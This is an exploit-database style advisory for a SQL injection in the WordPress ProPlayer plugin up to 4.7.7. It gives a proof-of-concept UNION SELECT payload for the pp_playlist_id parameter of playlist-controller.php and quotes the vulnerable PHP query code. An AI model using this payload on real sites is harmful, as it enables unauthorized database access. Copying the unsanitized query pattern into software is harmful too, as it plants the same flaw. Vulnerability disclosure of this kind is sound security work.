WordPress ProPlayer plugin <= 4.7.7 - SQL Injection Vulnerability

# Exploit Title: ProPlayer plugin &#60;= 4.7.7 SQL Injection Vulnerability # Date: 2011-08-05 # Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm) # Software Link: http://downloads.wordpress.org/plugin/proplayer.4.7.7.zip # Version: 4.7.7 (tested) --- PoC --- http://www.site.com/wp-content/plugins/proplayer/playlist-controller.php?pp_playlist_id=-1&#39;) UNION ALL SELECT NULL,NULL,@@version--%20 --------------- Vulnerable code --------------- function getPlaylist($id = &#39;&#39;) { $query = mysql_query(&#34;SELECT * FROM &#34;.$this-&#62;tablePrefix.&#34;proplayer_playlist WHERE (POST_ID=&#39;$id&#39;)&#34;); $playlistRow = mysql_fetch_row($query); return $this-&#62;withBackwardCompatibility($playlistRow[2]); } ... if (!empty($_GET[&#34;pp_playlist_id&#34;])) { header(&#34;Content-type: application/xml&#34;); $xml = $playlistController-&#62;getPlaylist($_GET[&#34;pp_playlist_id&#34;]);